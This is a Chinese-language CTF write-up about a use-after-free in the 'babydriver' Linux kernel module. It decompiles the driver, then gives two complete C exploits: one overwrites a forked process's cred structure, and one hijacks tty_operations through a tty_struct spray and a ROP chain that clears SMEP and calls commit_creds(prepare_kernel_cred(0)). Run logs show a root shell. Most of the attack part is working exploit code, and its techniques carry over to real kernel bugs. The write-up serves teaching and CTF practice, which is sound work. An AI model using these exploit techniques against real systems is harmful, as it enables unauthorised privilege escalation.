Linux Kernel UAF

题目概述

这是一道CTF的kernel题，题目不是很难，但是可以学到很多知识，下面会用两种方法对这个题目进行解决：
1.修改进程的cred结构体中权限相关的信息，将权限改为root；
2.通过ROP将cr4中的smep位置反，关闭SMEP机制，然后ret2usr获取root权限。
题目给出了三个文件：rootfs.cpio、bzImage和boot.sh。boot.sh内容如下：

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

需要用qemu启动，bzImage是kernel映像，rootfs.cpio是根文件的映像。我用的VMware里的Linux虚拟机安装qemu，这里会报一个KVM的错误，需要开启一下虚拟化功能：

如果要调试的话，可以在boot.sh中加入参数-gdb tcp::1234 -S，这样系统启动时会挂起等待gdb连接，gdb中用target remote :1234连接即可。
要向系统中添加文件，就需要解包cpio文件，将文件放到目录中再打包：

$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix
$ mv rootfs.cpio rootfs.cpio.gz
$ gunzip rootfs.cpio.gz
$ file rootfs.cpio 
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
$ cpio -idmv < rootfs.cpio
// 解包完成，可以向目录中添加文件
$ ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
// 重新打包，不需要压缩也可以
$ find . | cpio -o --format=newc > ../rootfs.cpio

babydriver.ko文件在/lib/modules/目录中，通过查看/proc/modules或lsmod可以看到babydriver.ko已经加载到内核，还能看到其加载地址。用IDA反编译babydriver.ko驱动。
open函数：

__int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)
{
    char *v4; // rax@1
    __int64 v5; // rdx@1
    
    __fentry__(inode, filp, a3, a4);
    LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6),  0x24000C0LL, 64LL);
    babydev_struct.device_buf = v4;
    babydev_struct.device_buf_len = 64LL;
    printk("device open\n", 0x24000C0LL, v5);
    return 0LL;
}

ioctl函数：

__int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)
{
    size_t v4; // rdx@1
    size_t v5; // rbx@1
    char *v6; // rax@2
    __int64 v7; // rdx@2
    __int64 result; // rax@2
    
    __fentry__(filp, command, arg, a4);
    v5 = v4;
    if ( (_DWORD)command == 0x10001 ) {
        kfree(babydev_struct.device_buf);
        LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);
        babydev_struct.device_buf = v6;
        babydev_struct.device_buf_len = v5;
        printk("alloc done\n", 0x24000C0LL, v7);
        result = 0LL;
    } else {
        printk(&default_arg_is_format_str, v4, v4);
        result = -22LL;
    }
    return result;
}

write函数：

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
    unsigned __int64 copy_len; // rdx@1
    ssize_t result; // rax@2
    ssize_t v6; // rbx@3
    
    __fentry__(filp, buffer, length, offset);
    if ( babydev_struct.device_buf ) {
        result = -2LL;
        if ( babydev_struct.device_buf_len > copy_len ) {
            v6 = copy_len;
            copy_from_user(babydev_struct.device_buf, buffer, copy_len);
            result = v6;
        }
    } else {
        result = -1LL;
    }
    return result;
}

read函数：

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
    unsigned __int64 copy_len; // rdx@1
    ssize_t result; // rax@2
    ssize_t v6; // rbx@3
    
    __fentry__(filp, buffer, length, offset);
    if ( babydev_struct.device_buf ) {
        result = -2LL;
        if ( babydev_struct.device_buf_len > copy_len ) {
            v6 = copy_len;
            copy_to_user(buffer, babydev_struct.device_buf, copy_len);
            result = v6;
        }
    } else {
        result = -1LL;
    }
    return result;
}

驱动代码并不复杂，有一个babydev_struct全局结构体变量，结构体里有device_buf和device_buf_len两个成员变量，device_buf在调用open时通过kmem_cache_alloc_trace进行分配，这个函数的效果和kmalloc是一样的。应该是因为编译时编译器进行了优化。
open的时候kmalloc了一个大小为64的内存空间，设置size为64，release的时候释放这个空间。read和write都会先检查buf指针是否为NULL，大小是否满足要求，没有明显的栈溢出或堆溢出。
如果open两次设备文件，第一次open初始化了全局变量baby_struct，第二次open会再次给它赋值，这样会覆盖第一次的buf指针。下面接着release第一次打开的设备，其实释放的是第二次打开设备时分配的内存，而这块内存还可以被baby_struct的buf指针使用，就造成了一个UAF。

修改cred结构体

一个进程的权限是由cred结构体中的uid决定的，每个进程中都有一个cred结构体，并且保存了该进程的权限信息，如果能修改cred信息，就可以进行提权。
通过之前对slub分配器的了解，相同大小的内存块放在一起。于是思路就是：现在有一个UAF，将某个进程的cred结构体放进这个UAF内存空间，然后就可以控制这个cred结构体。
具体操作如下：

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"

char buf[100];

int main()
{
    int fd1, fd2, ret;
    char zero_buf[100];
    memset(zero_buf, 0, sizeof(char) * 100);
    fd1 = open(DEV_NAME, O_RDWR);
    fd2 = open(DEV_NAME, O_RDWR);
    // 首先通过ioctl改变第一次open的内存大小，使其和cred结构体一样大小
    ret = ioctl(fd1, 0x10001, CRED_SIZE);
    // release第一次open，释放一个cred结构体一样大小的内存
    close(fd1);
    // fork一个新进程来创建一个cred结构体，这个cred结构体就会用刚刚释放的内存，即UAF内存空间
    int now_uid = 1000; // 当前uid为1000
    int pid = fork();
    if (pid < 0) {
        perror("fork error");
        return 0;
    }

    if (pid == 0) { // child process
        // 写入28个0，一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了
        ret = write(fd2, zero_buf, 28);
        now_uid = getuid();
        if (!now_uid) {
            printf("get root done\n");
            // 权限修改完毕，启动一个shell，就是root的shell了
            system("/bin/sh");
            exit(0);
        } else {
            puts("failed?");
            exit(0);
        }
    } else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

将上述exploit编译后放到/home/ctf目录中打包cpio，启动qemu：

$ gcc -static -o exp1 exp1.c
$ cp exp1 tmp/home/ctf     // 之前的rootfs.cpio解压到了tmp文件夹
$ find tmp | cpio -o --format=newc > rootfs.cpio
$ ./boot.sh
...
/ $ cd home/ctf/
~ $ ls
exp1
~ $ ./exp1 
[   16.298785] device open
[   16.299639] device open
[   16.300396] alloc done
[   16.301763] device release
get root done
/home/ctf #

还有一个问题是如何知道cred的大小，一种方法是看源码，这种方法比较慢，还容易出错。另一种方法是编译一个内核模块来查看：

#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
    printk(KERN_ALERT "sizeof cred: %d", sizeof(struct cred));
    return 0;
}

static void hello_exit(void)
{
    printk(KERN_ALERT "exit module!");
}

module_init(hello_init);
module_exit(hello_exit);

Makefile：

obj-m := cred_size.o
KERNELBUILD := /lib/modules/$(shell uname -r)/build

modules:
    make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
    make -C $(KERNELBUILD) M=$(CURDIR) clean

ROP关闭SMEP

想要获得程序控制流并使用ROP就需要借助tty_struct这个结构体，tty是一种设备，通过/dev/ptmx可以打开这个设备。要得到内核控制流，需要修改设备的函数指针，使得对这个设备的操作变成可以控制的。获得控制流后，通过ROP的方法可以将cr4中的smep位关掉，之后就可以ret2usr进行传统的提权操作了。
内核空间ROP在之前的文章中介绍过，需要一个xchg eax, esp的gadget，自己构造一个栈。这里有一个前提知识，在执行ioctl的时候eax正好是要执行的指令的地址，也就是gadget自身的地址。这样我们就可以mmap这个gadget地址，栈就落在了用户空间。虽然不能执行用户空间的代码，但是可以从用户栈上获取数据，执行内核空间代码。
gadget要从内核中找，bzImage是压缩过的vmlinux，通过Linux源码scripts目录下的extract-vmlinux来提取。
下面是完整的exploit：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

/* // 将tty_struct放入UAF空间，将第24字节的位置用伪造的tty_operations替换，如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int (*write_room)(struct tty_struct *tty);
    int (*chars_in_buffer)(struct tty_struct *tty);
    int (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // 回到用户空间之前的准备

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0\n" // mov rcx, cs
        "movq %%ss, %1\n" // mov rdx, ss
        "pushfq\n"        // 把rflags的值压栈
        "popq %2\n"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}

void get_shell() {
    system("/bin/sh");
}

void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

void exploit() {
    int i;
    char *buf = (char*)malloc(0x1000);
    struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

    save_stats();

    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
    write(fd2, "hello world", strlen("hello world"));
    close(fd1);

    // spray tty 这里的堆喷射其实去掉也能成功，因为是释放后紧接着申请的
    puts("[+] Spraying buffer with tty_struct");
    for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
        spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (spray_fd[i] < 0) {
            perror("open tty");
        }
    }

    // 现在有一个tty_struct落在了UAF区域里
    puts("[+] Reading buffer content from kernel buffer");
    long size = read(fd2, buf, 32);
    if (size < 32) {
        puts("[-] Reading not complete!");
        printf("[-] Only %ld bytes read.\n", size);
    }
    // 检查喷射是否成功
    puts("[+] Detecting buffer content type");
    if (buf[0] != 0x01 || buf[1] != 0x54) {
        puts("[-] tty_struct spray failed");
        printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
        puts("[-] Exiting...");
        exit(-1);
    }
    // 设置tty_operations为伪造的操作
    puts("[+] Spray complete. Modifying function pointer");
    unsigned long *temp = (unsigned long *)&buf[24];
    *temp = (unsigned long)fake_tty_operations;

    puts("[+] Preparing ROP chain");
    unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
    unsigned long base = lower_address & ~0xfff;
    printf("[+] Base address is %lx\n", base);
    if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
        perror("mmap");
        exit(1);
    }

    unsigned long rop_chain[] = {
        poprdiret,
        0x6f0,
        native_write_cr4, // cr4 = 0x6f0
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        base + 0x10000,
        user_ss
    };
    memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
    puts("[+] Writing function pointer to the driver");
    long len = write(fd2, buf, 32);
    if (len < 0) {
        perror("write");
        exit(1);
    }

    puts("[+] Triggering");
    for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
        ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
    }
}

int main() {
    exploit();
    return 0;
}

静态编译后放入文件目录中，运行即可获得root shell！
reference
一道简单内核题入门内核利用
NCSTISC Linux Kernel PWN450 Writeup